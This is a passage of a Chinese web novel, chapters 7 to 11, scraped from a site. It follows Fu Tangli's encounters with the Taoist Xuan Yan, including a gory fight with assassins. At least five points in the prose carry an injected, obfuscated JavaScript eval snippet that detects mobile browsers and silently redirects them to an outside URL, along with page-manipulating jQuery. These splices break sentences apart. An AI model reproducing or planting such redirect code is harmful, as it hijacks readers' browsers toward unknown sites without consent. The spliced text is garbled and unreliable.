;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647410|172763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梨顺手将银箸在香炉边沿轻轻磕了一下,垂眸浅笑:“道长若不喜甘松,不妨一试龙脑与白梅同煎,有霜雪滋味……” 正说话着,她突然觉得喉咙痒痒的,暗道不妙,她试图抬手,但一手提着炉盖、一手持着银箸,却来不及掩口,已经剧烈地咳了起来。 莲花小炉的盖子还敞着,里面的香屑被她呼出的气息带着,扑散开来,灰蒙蒙洒了一片。 玄衍的笔停住了。 香屑混合着灰烬,扑上他的脸,额头上一块、鼻尖上一点、发鬓上还有零星印子,他面无表情,直直地盯着傅棠梨,慢慢地掏出帕子擦脸。 那种可怕的目光,看得傅棠梨的头发都要竖起来了。 这一下真真措手不及,她急急丢开手中物件,用袖子捂着嘴,起身后退,断断续续地挤出话来:“失礼了……我、我……” 这才说了几个字,她又是一阵咳嗽,咳得上气不接下气。 玄衍面色森冷,一言不发,倏然立起,脱下了外袍。 呃……他为什么要脱衣服? 傅棠梨的眼睛瞪圆了,还没来得及反应过来,玄衍大步上前,一扬手,他的外袍兜头罩来,将傅棠梨包了个严严实实,连脑袋都盖住了。 凛冬时节,白梅花落下,乌木浸透了积雪,苦而冰冷,那是他的味道,宛如幽静的山林中,祭神者焚起的信灵香,只应闻于神明。 这种味道瞬间包围了傅棠梨,沾染她的脸颊、她的耳鬓,仿佛簌簌的雪,顷刻就融化了,叫她有些喘不过气来,忍不住一直咳。 她的肩膀被玄衍抓了起来,他身量高大,力气又是那么惊人,把她提起来,就像揪住一只兔子,直接揪到了门外去,然后一松手,“噗嗤”,扔掉。 傅棠梨的头被袍子蒙住,什么也看不见,差点没跌倒,她迷迷糊糊地转了两个圈子,头更晕了。 她听见了玄衍的声音,严厉的,带着被压抑的怒意。 “玄安、玄度。” 立即有人恭敬地应声,很快跑了过来:“师兄有何吩咐?” “叫人过来,把这边的房间里外上下冲洗一番,用降真香熏几天,以正清气。” 傅棠梨手忙脚乱地扯了半天,好不容易从那件袍子中把脑袋探出来一点,左右张望了一下,才分清东西南北。 玄衍说完上面那番话,把手指向傅棠梨:“至于这个……” 这个如何?傅棠梨生气地瞪他,但她自己却不知道,她方才一阵咳嗽,眼泪都挤出来了,眼角微红,眸中一汪春水盈盈,睫毛上还缀着露珠,此刻看过去却是一副泫然欲泣的模样。 玄衍的话顿了一下。 8. 第 8 章 傅棠梨又觉得胸闷,一时挣脱不开,只能抱着那件男人的道袍,捂住嘴和鼻子,蹙着眉头,咳了两下。 那件袍子对她来说实在过于宽大了,几乎把她整个人都包裹其中,这会儿露出一点小脑袋,头发有些乱,毛茸茸的,看过去让她平添了几分懵懂的稚气。 玄衍本来恨不得命人把这女郎也拎下去用水冲一冲、洗一洗,不知怎的,临到末了,忍了又忍,最后略一摆手,简单地说了一句:“回去。” 他这么说完,眉头皱了一下,立即走了,不再多看她一眼。 黛螺胭脂听得动静,从大殿出来,看见自家娘子这般情状,皆是大惊,急急上前扶住她。 傅棠梨摆了摆手,示意无妨。 起风了,零星一两点雪,那种带着苦味的香气和着冬日的雪,落在她的发鬓间,是属于玄衍的味道。 唐突至此,何其无礼!傅棠梨心中的恼恨又添了一重。 但是,天有些冷,她下意识地裹紧了那件的袍子。玄衍是那么冰冷的一个人,但他的体温大抵是炙热的,此刻,衣袍余温犹存。 —————————— 这次回去之后,傅棠梨免不了吃了黛螺一顿埋怨,从傅府跟着过来的管事孙嬷嬷终于也忍不住了,把二娘子数落了一通,众人联手,把傅棠梨拘在家中休养了几天。 这期间,尽职的孙嬷嬷还往府里送了一封信,提及二娘子在山间道观拜神,为先人祈福,受了风寒,有些咳症。 傅府贺隔天回信,祖父傅方旭寥寥数语,称赞傅棠梨孝心可嘉,至于父亲傅之贺则长长地写了一通,大意是傅芍药在祠堂十分受苦,催促傅棠梨尽早回府,好向傅方旭求情放人。 傅棠梨把信翻来覆去看了几遍,也未见有人问及她病况如何,虽然她这也不算病就是了,她无所谓地笑了一下,把那几页纸随手扔了。 后头几天,雪停了,日光出来,天气稍微有些回温,傅棠梨的咳嗽也差不多止住了,又去了一趟云麓观。 白梅经雪,开得更盛,似乎要越墙而来。小道士拿着扫帚,将山门和石阶扫得干干净净,冬日并无落叶,只有零星残雪未化,一派洁净世界。 傅棠梨才进了山门,就听见一声清亮的鹤鸣声传来,她循声望去,却见玄衍立在远处高台上。 他抱着琴,或许是刚从梅花林中归来,身在高处临风,衣袂飘然若仙,两只白鹤一左一右绕着他飞舞,鹤鸣声声。 傅棠梨四周打量了一下,见玄安站在高台下,便招了招手。 玄安跑了过来,面色有些古怪:“女善信又来了?” 傅棠梨从胭脂手中拿过一件叠得整整齐齐的道袍,捧给玄安:“这是玄衍道长的衣裳,还给他。” 玄安接过,有些犹豫:“这……” 傅棠梨神色自若,笑了笑,指了指那道袍:“这衣裳已经洗得干净了,用银丝炭烤火烘干,再用莲蕊衣香熏了三回,或许玄衍道长依旧嫌弃,大抵是要扔弃的,但于我而言,此为应尽礼仪,理当归还,还请玄安道长代为转交。” 玄安欠身回礼,捧着衣袍上了高台处,和玄衍说了两句什么。 玄衍似乎朝这边望了一眼,目光清冷,不带丝毫情绪,而后转身离去。 白鹤引颈长鸣两声,随之振翅飞去。 傅棠梨也不在意,转身去了天尊殿进香。 云麓观依旧香火寂寥,除了傅棠梨,再无外人来。今日青虚子不在,值殿的道士换成了玄度。 傅棠梨进香毕,顺口问了一句:“不知青虚子师父今日何往?” 玄度一脸警惕:“福生无量天尊,师父不在,我们不缺香火钱,师兄不抄经,女善信不要再问了。” 俨然惊弓之鸟。 傅棠梨莞尔:“无妨,或许我明日再来,青虚师父就在了。” 玄度怒视她。 傅棠梨悠然自如,袖着手,慢慢地出了天尊殿。 玄安从那边迎上来,拱了拱手:“这位女善信,师兄请你过去喝茶。” 嚯,这可真叫人受宠若惊。傅棠梨一脸淡定,颔首笑道:“如此,叨扰了。” 玄安引路,带着傅棠梨主仆三人一路往道观后苑方向去,绕过四律、三清两殿堂,又经行过抄手回廊,在飞仙台侧边,有一雅舍,乌木为筑,廊庑宽长,屋瓦下悬着铁马檐铃。 小僮打起帘子,延客入内。 屋舍的地面皆是雪松木板,悬空架高三寸,人走在上面,发出一点点空旷的回响,更显寂静。 室内置了两方席、一张案,古琴挂在白墙上,此外并无多余摆设,素净宛如雪洞。 玄衍席地而坐,见傅棠梨来,略一抬手,说了一个字:“坐。” 很奇怪,他不过是一山野道人,语气间却自有一种颐指气使的威严,仿佛不容旁人违逆。 傅棠梨神态落落大方,依言坐下了,黛螺胭脂垂着手,侍立在身后。 玄衍的身前摆着炭匣、茶釜、罗合、水瓯、高碗等物件,又有红泥小炉,此时炉火正旺,茶水已开,在釜中“咕噜咕噜”地冒着泡泡。 雅舍幽静,光线似明还暗,玄衍居于半明半暗中,意态疏离,声音清冷:“今日为何而来?” 傅棠梨眉目静谧,回道:“若我说,为了先前唐突,来给道长赔礼,道长信是不信?”不待玄衍回答,她就微笑了起来,慢悠悠的,也问了一句:“道长今日又为何请我喝茶呢?” 玄衍煮着茶,未曾抬眼:“无他,闲来无事尔。” 傅棠梨听了便罢,笑着,不再言语。 少顷,茶水大沸,热气渐渐弥漫开,味道有些辛辣、有些苦,惹得傅棠梨的喉咙又不舒服起来,她拼命忍耐了一会儿,实在忍不住,偏过脸,用袖子捂住嘴,低低地咳了两声。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647411|172763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>站在一旁的玄安如临大敌,差点要扑过来。 玄衍却只是略一抬眼,脸色还算和缓,并无不悦之意,反而提起袖子,斟了一碗茶,置于案上,推到傅棠梨面前,道:“喝茶。” 傅棠梨止住咳,低头看了看。 茶汤热腾腾、黑乎乎,凑到近处,那股苦味愈发明显,闻上去很不美妙。 “道长给我下毒吗?”她认真地问道。 玄衍面无表情:“参苏饮,驱寒止咳,喝。” 道长的这份心意实在过于浓重,叫傅棠梨有点招架不住。她的眉头打了结,犹豫了半天,扭扭捏捏地端起碗,抿了一口,抬起眼睛,看了玄衍一下。 玄衍的眉毛都没有动弹一下。 傅棠梨又抿了一口,再看了玄衍一下。 他的神情依旧冷冷的,没什么变动,甚至目光中多了几分严厉之意。 傅棠梨顺势放下碗:“莫非道长觉得先前对我太过严苛,今日有示好之意?” 她说这话的时候,稍微歪了脑袋,眼波如水,带着一点狡黠的天真。 玄衍从鼻子里发出一点低低的声音,像是冷哼,又像是笑。 傅棠梨思忖了一下,眨了眨眼睛:“或者是,怕我再叫道长抄写经书,有求和之意?” 玄衍的手指在案上敲了两下,简单地吐出两个字:“喝茶。” “这是药,不是茶。”傅棠梨叹了一口气:“说实话,我怕苦,可否容我辜负道长这番盛情,不喝它?” “不可。”玄衍不为所动,“你频频来此,我不容有人在观中咳喘流涕,喝。” 傅棠梨有点想把碗扣在玄衍的头上,但她看了看玄衍英武高大的身形,斟酌了一下,自认并没有这种实力,还是忍了,又叹了一口气,开始喝药。 药太苦了,又太烫,傅棠梨喝得慢慢吞吞、犹犹豫豫,待到喝完,不自觉地,眼眸中又带上了盈盈的泪光。 玄衍将一个白玉小碟推到她面前,又说了一个字:“糖。” 小碟里放着几颗方糖,色做琥珀,上面撒着金黄色的桂花屑。 傅棠梨怔了一下,忍不住看了玄衍一眼,他依旧正襟危坐,面色沉稳,看不出一丝异样。 傅棠梨慢慢地拈起一颗糖,放入口中。那大抵也是药,桂花香甜,中间夹杂着清凉的味道,尾调有些苦,融化开,顺着喉咙咽下去,带着一点回甘。 她垂下眼眸,不觉有一滴泪从眼角落了下来。 玄衍终于皱起了眉头:“有那么苦吗?” 傅棠梨侧过头,用指尖飞快地抹了一下眼睛,转瞬又是娴静之态:“只是记起旧时,我若喝药,外祖母必然要给我一颗糖吃,此景仿佛昨日,而昨日不可追,一时伤感,让道长见笑了。” 自从外祖母去后,再也没人会这样哄着她了。 玄衍大抵对这种话题无法接口,沉默了下去。 9. 第 9 章 傅棠梨很快恢复了自若的神态,她将手支在案上,托着腮,带着一点懒洋洋的意味:“今日道长请我喝茶,足感盛情,待我酿一坛梅花酒,冬日埋下,春日取出,启坛时,我请道长喝酒可好?” 玄衍端起茶盏,啜了一口,其实盏中是白水,毫无滋味:“出家人,不沾荤酒。” “是吗?”傅棠梨挑了挑眉毛,她翘起嘴角,腮边露出两个漂亮的小酒窝,盛着盈盈笑意,“圣人曰,不饮酒不茹荤者,乃祭祀之斋,非心斋也,道长心若向道,何拘于荤酒之戒?” 玄衍只是淡淡地笑了一下,未作言语,抬手给傅棠梨也倒了一盏白水。 两人对坐,一壶白水。 四下皆静,偶尔有风起,竹帘遮住天光,在室内映出一道暗、一道明的影子,人在其中,似乎也变得分外温柔起来。 —————————— 傅棠梨从云麓观回来,在家里歇了几日,山中清静,偷得浮生闲暇,作了一幅画,读了两本书,又赏了几场雪。 胭脂嘴碎,提了一句:“娘子怎么不去云麓观了?” 傅棠梨倚在窗边看雪,闻言回眸一笑:“你不懂得,这叫张弛有度,不必屡屡往他面前去,我呢,这会儿腻味了,且晾他两日再说吧。” 胭脂确实不懂,傻傻地“哦”了一声。 不过说到这个,傅棠梨倒想起一事,轻轻抚掌:“对了,好像那时候对玄衍提了一句,要酿酒请他喝,是不是?我说了什么酒来着?” 黛螺记性好:“娘子那时说的是梅花酒。” “嗯,梅花酒。”傅棠梨毫无诚意地点了点头,“此酒风雅,正合道长孤傲绝尘之意,甚妙。” 既要酿酒,傅棠梨便打发了奴仆下山去买白药小曲和乌衣红曲,再加一样碧糯米。想了想,还须得是梅花酒,便唤了黛螺,拿了竹筐子,要去梅林摘花。 顺便,她把严婶子也叫过来问了一下:“若要酿酒,这水也须得讲究一些,我们院子里那口水井只是寻常,我寻思着,大抵还是要用梅间雪或山间泉,却不知这山间可有泉水?” 严婶子赶紧回道:“娘子去了几趟云麓观,怎么没多走两步,观院北面有一石径,沿石径去,不过二百步,便有一处山泉,积水成潭,不过眼下天冷,我才没和娘子说,若到夏天,也是一处好景致。” 傅棠梨笑了起来:“这些道士会享受,山野幽静,梅花与清泉相伴,果然有神仙意境,我看长安城里的元真宫却不如此处。” 她又唤了胭脂,带了两个陶罐,顺道去取那梅间雪及山间泉。 先去了梅花林,此时不见玄衍在此,连白玉和珍珠那两只白鹤也不在,正宜行事。 傅棠梨亲自动手,摘花时,只要那将开未开的,香气未泄,最是浓郁,择了满筐。取雪时,却要寻那已经盛放的,用羊毫毛笔将花萼上的落雪扫下,这样的雪汲取了梅花的香气,最是清雅,不过只集了半罐。 “累得慌,若要酿一坛酒,那须再下五六场雪才够。”傅棠梨哪里肯这样尽心尽力,很快便道:“好了,先这么着,待我去试试那泉水,倘若尝着口感大差不差,还是用泉水吧,这梅间雪实在费劲。” 当下,傅棠梨便叫黛螺带着一筐梅花和半罐梅间雪先行回去,自己则和胭脂寻那泉水。 也不难找,按着严婶子说的,转到云麓观北面,旁有松柏掩映,冬日仍翠,一条石径曲折蜿蜒,通向幽处。 傅棠梨才走到半道,却听见隐约有琴声从前边传来。 她停下脚步,侧耳聆听片刻,指了指那个方向,对胭脂道:“听过去,应是玄衍道长在那里。” 胭脂道:“那不巧,娘子不若改日再来。” 傅棠梨笑了一下:“相请不如偶遇,来便来了,何须改日。”她将陶罐从胭脂手里接过,“道长喜清静,你不要跟着,先回去吧,我自去便是。” “这……”胭脂有些犹豫。 “你回去,把那些个梅花再仔细挑拣一遍,趁着新鲜,洗净了,用竹匾摊开,撒些青盐,放在屋檐下晾,事情多着呢,黛螺一个人顾不过来,你别偷懒,快去干活吧。” 胭脂听得娘子如此说,只好去了。 傅棠梨压了压发鬓,理了理裙裾,不紧不慢地沿石径走去。 琴声渐大,似泉水从山涧流来。 再行百来步,石径尽处,果然见前方有石壁高耸,中有石缝,水流自石缝出,下积成潭,静水深碧,山石嶙峋,旁边老树横斜。 玄衍独坐树下抚琴,他依旧广袖宽袍,眉目清冷,孤傲有登仙之意。 傅棠梨抱着陶罐,静静地站在那里听了许久。 直到一曲毕,玄衍收住琴弦,傅棠梨才慢悠悠地道:“奇怪,我有些听不懂了,道长曲调清高凌绝,正合避世修行之道,但其中不乏铿锵杀伐意气,又似愤慨之声,莫非道长尘念未断,出家乃不得以而为之?” 玄衍手一缩,“琤”的一声,按断了琴弦。 他霍然抬眼,目光如电,煞气凛然逼人。 此时无雪,但周遭的空气却突然沉了下来,寒意刺入骨髓。 傅棠梨心头一紧,手心出了一层汗,有些后悔失言,但她终究胆大,面色如常,笑吟吟地道:“巍巍乎若高山,荡荡乎若流水,道长是否引我为知音?” 玄衍直直地看着傅棠梨。 傅棠梨对他坦然相望,她是个美丽而明朗的女郎,眼睛生得尤其漂亮,眼波清澈宁和,譬如这山涧间的流水。 半晌,玄衍的神情渐渐和缓下来,他褪去了身上那股锐利的威势,一拂琴弦,淡淡地转了个话题:“你前些日子说要酿梅花酒,我便把那片梅花林让给你去耍闹,退避此处,你如何还能跟来,扰人清净。” 傅棠梨晃了晃手里的陶罐子:“我为酿酒,来此汲取泉水,不料和道长不期而遇, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647412|172763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只能说是凑巧了。” 玄衍十分果断,马上道:“酿酒不可使用此间泉水。” 傅棠梨挑了挑眉毛:“为何?” 玄衍看了傅棠梨一眼,好像有些不悦,简单地道了一句:“我常于夏日到此沐浴。” 哦,所以这是道长的沐汤,不能喝吗? 瞎讲究,要不得。 傅棠梨想了想,委婉地道:“其实无妨,此为活泉,夏日沐浴后的水早就流走了,如今的应该干净……” 话还没说完,就生生地卡住了。 玄衍盯着她,目光格外森冷,比方才更吓人几分,仿佛她再多说一个字,那目光就要化形为利剑,把她戳个洞。 傅棠梨实在忍俊不住,捂着嘴,吃吃地笑了起来:“好吧,那就不用这里的泉水,道长啊,真是……” 真是什么呢,后面的话她没有说出来,只是眼波流转,恰如惊鸿照影而过,分不清是狡黠还是妩媚。 玄衍垂下眼帘,转开了目光。 傅棠梨幽幽叹了一口气,面上露出了一点虚假的歉意:“那这么着,只能撷取梅间之雪用于酿酒了,可惜梅间雪落只一点,我收集起来也不容易,一日才得半罐水,只能待到雪后多去几次。” 她顿了一下,拖长了声音,软软地道:“说不得,我要时常光顾那片梅花林,道长还需多忍我几日。” 她的声音轻灵婉转,如同山间黄鹂,在春日的枝头啼鸣,吵是吵了点,但确实活泼动听。 玄衍站起身,抱着琴,举步将去:“山林清静,唯汝呱噪不休。” 傅棠梨施施然跟上,悠然自若地接口:“可能是因为道长修行不到家,那张甘露清静符不灵验吧。” 玄衍忍不住勾起嘴角,刚要说话,却听见一旁的树丛中仿佛有风拂过,发出了微不可闻的动静。 一种异样的感觉袭上心头,只有那么一点点,寻常人根本难以捉摸,但对玄衍来说,已经足够。 他脸色一变,一声断喝:“后退!” 傅棠梨来不及反应过来,她甚至没有听清他的话。 一霎那,变故陡生。 风声呼啸,数十条影子,如同毒蛇一般从树丛中窜出,迅猛地扑击过来,他们高声呼喝,腔调怪异,听不懂是什么话,他们手中的兵刃闪着寒光,齐齐杀来,刹那间,卷起积雪如飞絮。 玄衍的身边就是傅棠梨,无论他进或退,她都将面临兵刃加身,他无暇多思,一手揽住她的腰肢,往回一带,同时跨步迎敌,手中古琴横扫而出。 古琴挟带雷霆之势,直直地拍中一名刺客,那魁梧的大汉发出痛苦的嚎叫,整个人倒飞起来,在半空中撒开大蓬血水,那张琴被这巨大的力量撞得断裂,半截飞出,“噗”地砸在雪地里,只露出头部两寸,足见其力道之强。 陶罐掉在地上,摔得粉碎。 傅棠梨骤然跌入玄衍怀中,脑子一片空白。 10. 第 10 章 这个男人的味道,是雪中乌木的香气,清冽而冰冷,凌于悬崖绝壁之上,连同这凛冬的煞气席卷而来,不可抗拒。 傅棠梨下意识抓住了他的领口。 玄衍好像从鼻子里发出一点哼声,低沉而浑厚的声线拂过傅棠梨的耳鬓,她分不清那是什么意味,没来由地一阵心虚,把玄衍抓得更紧了。 他猛然腾空而起,正面迎敌,凛冽的气息迸裂开来,如疾风骤雨降临此间。 傅棠梨并不矮,她的身量匀称而丰腴,但此时此刻,陷在他臂弯里,却显得那么娇柔弱小,脚尖都沾不到地面,身不由己,旋转、腾挪,刀光剑影不停地掠过眼前,叫人头晕目眩。 那群刺客体格彪悍,气息凶狠,身穿软甲,袒露双臂,各持刀剑,以悍不畏死的气势围杀上来。 玄衍寻常一幅仙风道骨的清冷气质,不近人间烟火,而眼下,却似换了个人似的,骄悍而凶戾,他身陷重围,手无寸铁,还护着一个弱女子,却狂傲如入无人之境,悍然握拳挥出,破空之声若雷鸣,所到之处,血肉横飞。 那群刺客个个如同疯狂的野兽,不知疼痛和畏惧为何物,即使手或者腿被折断,依旧赤红着眼睛,奋力扑击,宛如和玄衍存着刻骨的血海深仇一般。 玄衍不耐久战,倏然一声清叱,腾起一脚,“咯擦”踢断一个刺客的手臂,那人惨叫一声,长剑脱手而出。 玄衍足尖一顿,随之跃起,在半空中截住了那柄剑,霍然旋身挥出。 宛如铁马踏过冰河、风暴扫过平江,无法阻止的速度和力量,剑刃斩断人的躯体,那种声音锐利而干脆,剑光与血水一起飞溅起来。 顷刻间,那些刺客纷纷毙命,颓然倒下,多数人气已绝,眼犹睁。 尚存最后一人,眼见不敌,爆发出一声嘶哑的嚎叫,举刀从背后猛地砍来,状若疯狂。 玄衍头也不回,反手一剑直斩。 “噗嗤”一声,一个斗大的头颅飞了起来,一腔鲜血从那人的脖子中喷涌而出。 傅棠梨张了张嘴巴,却无法出声,眼睛都瞪圆了。 玄衍将陡然伸手、抬袖,挡在傅棠梨的面前,只听得轻微的“泼剌”声响,那些血尽数溅在他的袖子上和脸上。 又是“噗通”一声,一具无头的躯体倒在地上。 而后,周遭重新归于沉寂。 玄衍慢慢地放开了傅棠梨,低头看了她一眼,他的声音依旧是冷静的:“如何?” 身旁躺了一地的尸首,碎裂的手脚和分辨不出的残骸凌乱地散在其中,暗红的血液泼洒得到处都是,在雪地里显得分外刺眼。 傅棠梨的腿脚发软,惊骇欲绝,她站在那里几乎不能动弹,喘息良久,才摇了摇头,缓缓地吐出一口气,勉强道:“尚可。” 没有晕厥、没有尖叫、也没有哭泣,只是声音有点发颤,确实尚可。 玄衍对此表示满意,敷衍地安抚了一句:“很好。” 傅棠梨惊魂未定:“这些歹人是何来路?看架势,不似谋财,倒像是要害人性命,十分蹊跷,如今死了一地,吓煞人也,须得赶紧报官才是。” 玄衍漫不经心地扔掉手中的剑:“我早先曾与人相争,彼不敌,衔恨在心,来此寻仇,凑巧却被你撞上了,无甚要紧,几只蝼蚁罢了,稍后自有人过来处置。” 此刻,他浑身满是血污,头间、脸上以及手中,鲜血尚未干涸,犹在滴落,甚至还沾染着某种黄色的、浓稠的液体,不知是脑浆还是骨髓,黏糊糊的一团一团。 他神情淡漠,眉目如剑,煞气未褪,眸子里还带着血的颜色,宛如修罗,一地死人,情状可怖,他却说得轻描淡写。 风吹过,血腥中混合着湿咸的味道扑面而来,傅棠梨方才还能克制住,眼下却觉得毛骨悚然,几乎作呕,忍不住用手捂住了嘴。 玄衍却只是淡淡地笑了笑,开始解开衣带。 傅棠梨猝不及防,倒退了一步,差点失声惊叫,好歹记得他不爱呱噪,硬生生地憋住了。 玄衍向水潭走去,他的动作干脆利落,衣服脱下,一路散落,很快连里衣也褪去,露出他精壮的背部。 傅棠梨心慌慌的,本来就跳得厉害,这会儿更是要从嗓子眼跳出来,她急急忙忙转过身去,不敢多看一眼。 身后传来“哗啦”的入水之声。 傅棠梨忍不住问道:“道长这是作甚?” “污秽满身,腥膻难耐,须以水濯之。” 玄衍的语气如同往常,冷漠而高傲,但傅棠梨却从中听出了一点咬牙切齿的意味。 忽然间,那种紧绷的杀伐之气一下子褪去,他又恢复成平日那个如同谪仙人一般的道长,不近尘俗。 傅棠梨偷偷地摸了摸自己的脸蛋,热得烫手,但心却慢慢地放松下来,忍不住要笑:“道长不怕冷吗,怎不待回去烧了热水再洗,这天气,泉水都要冻成冰,就这样跳下去……”她打了个哆嗦,“不如忍忍,回去再说?” 玄衍的语气显然十分不悦:“如何能忍?” 瞎矫情,冻死他算了,傅棠梨暗暗啐了一下。 身后传来水声,近在咫尺,那大约是他掬起水、水顺着身体流淌而下的声音。 傅棠梨有些无措,她自诩心性坚定,无论形势如何变幻,原先总能应对自如,偏偏此时却尴尬起来,东瞧瞧,西望望,就是不敢回头,甚至想把头埋到雪里算了。 她挪了挪脚,又搓了搓手,觉得这地方实在呆不下去,咳了两声,客气地道:“既已无事,道长慢慢洗,我不便打搅,先行告退了。” “站住。”玄衍却生硬地阻止了她,“歹人结伙而来,焉知没有同谋尚在暗处躲藏,你老实留在那里,莫要离开我的视线范围。” 那些尸体还狼藉地躺在地上,一柄剑斜插在雪中,血沿着剑刃流下,冻结在半道,留下一抹刺眼的猩红。 傅棠梨头皮一紧,马上收住了脚步:“无妨,横竖也无事,我等道长沐浴完毕,和您一起走。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647413|172763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>玄衍中鼻子里发出一点低低的声音,大约表示认同,但他并没有接口。 傅棠梨也不知该继续说些什么,只得沉默了下来,干巴巴地站在那里等他。 不远不近,一点阻隔也没有,背着身,当作若无其事。 水声不绝于耳,稀里哗啦,好似他搓了又搓、擦了又擦,用水一遍又一遍清洗着身体。 傅棠梨等了又等,等了半晌,终于开口,体贴地问道:“天寒地冻的日子,还是要讲究养生之道,不能在冷水中浸泡过久,道长,您洗好了吗?” 玄衍冷冷地道:“稍安勿躁,我需叫人去取干净衣裳过来。” 敢情已经洗好了,就是嫌弃原来的衣服脏,不愿意起身穿衣。 傅棠梨试探地道:“那么,我回云麓观替您传话?” 说着又觉得不对,她还是怕死的,当即改口:“算了,也就一小段路,反正您不怕冷,若不然……您干脆就这样走回去,呃……我闭着眼睛不看就好。” “闭嘴!”玄衍打断了她的话,语气听过去有点危险,带着腾腾杀气。 这男人,真不好应付。 傅棠梨无奈地叹气:“这也不可,那也不可,那该如何才可,您说。” 玄衍倏然打了几声唿哨,忽长忽短,带着独特的韵律,声音高亢而清亮,在空旷的山野中引起了回响。 过不多时,高高的天空中传来了尖锐的鹰鸣声,似是与玄衍应和,唳唳啸啸,穿透云霄,由远及近。 傅棠梨吃惊地抬头望去,只见一只巨大的白色鹰隼从远处飞来,到了这边,骤然压低,如同一朵云,掠过她的头顶。 翅膀带起的风吹乱了傅棠梨的头发,她急忙一缩头。 身后传来一阵扑棱棱的声音,似乎是鹰隼降落下来。 傅棠梨好奇得要命,又不敢回头:“这是道长豢养的鹰吗?” “嗯。”玄衍漫不经心地应了一声,对那鹰隼道:“摇光,回去,叫人来。” 他拍了拍鹰的脑袋,那名为摇光的白鹰又发出了一声啼鸣,抖擞昂然,展开翅膀,重新飞起。 但是它却没飞远,一个回旋,降落在傅棠梨的面前,踱了两步,仰起脑袋。 它有近半人高,白羽玉爪,浑身上下通体纯然一色,没有任何杂毛,和这天地间的雪浑然一体,这是一只神姿俊逸的海东青,它的眼眸是金色的,透着凶悍的光,直直地盯住了傅棠梨。 傅棠梨一脸茫然,和它对视……对视……持续对视…… 陡然,海东青猛地张开翅膀,“嘎”地一声锐叫,作势欲扑。 傅棠梨一声惊叫,掉头就跑,却记得后面有不宜入眼之物,她把眼睛紧紧地闭上,蒙头直冲。 才跑了几步,霍然听见“哗啦”破水之声,一双手抵住了住了她的肩膀,硬生生把她截停下来。 “止步。”玄衍的声音严厉地呵斥道,“再往前,就要落水了。” 傅棠梨一惊,下意识地睁开眼睛。 11. 第 11 章 映入眼帘的是男人的胸膛,健壮、结实、宽阔,他才从水中起身,小麦色的皮肤湿漉漉的,因为太过贴近,她甚至清楚地看到水珠顺着他鲜明的肌理流淌下来,在某处起伏的地方停顿了一下,留下蜿蜒的痕迹。 凛冬天寒,但他的身体却散发着炙热的气息,如同惊涛骇浪扑面而来,正正地拍中傅棠梨的面门。 傅棠梨双腿一软,差点当场跪下。 玄衍皱起眉头,抓住她的手臂,提了一下:“站稳。” “呃……”傅棠梨像被火烫到一般,跳了起来,猛然转过身,团起手,朝虚空拜了又拜,虔诚地碎碎念叨:“玉清元始天尊、上清灵宝天尊、太清道德天尊,诸天神明在上,我没看到、什么都没看到!” 玄衍重重地“哼”了一声。 那只白色的海东青歪着脑袋,向前跳了一步,又扑了扑翅膀,一幅跃跃欲试的神态。 “摇光!”玄衍一声清叱,带着明显的怒意,“蠢鸟,去叫人,不是这个人,回去,云麓观,叫人,听懂了吗?” 不知是被主人吓得、还是真的听懂了,摇光低低地“咕”了一声,抖了抖羽毛,马上飞走了。 “福生无量天尊。”傅棠梨惊魂未定,捂住胸口,虚弱地道:“我觉得我这辈子受的惊吓,全集在今天了。” 她受的惊吓指的是什么?包括他吗? 玄衍又重重地“哼”了一声。 傅棠梨不敢回头,却诚恳地道:“道长的鼻子不通气吗?是不是受了寒,我早就说了,您这样吃不消的。” 他什么吃不消?此话颇有藐视之嫌。玄衍严厉地盯着傅棠梨。 可惜她的后脑勺看不到,浑然不惧,见他没吭声,又犹犹豫豫地道:“我看,不如我把外裳借您,您好歹先披着,挡挡风也好,我的外裳是出门前才换的,还算干净。” 玄衍目光一动,面色又渐渐和缓,他沉默片刻,难得地笑了一下:“多谢,不必了。” 男人的笑声,低沉而浑厚,像是振动胸腔发出的声音,带着难以言说的磁性。 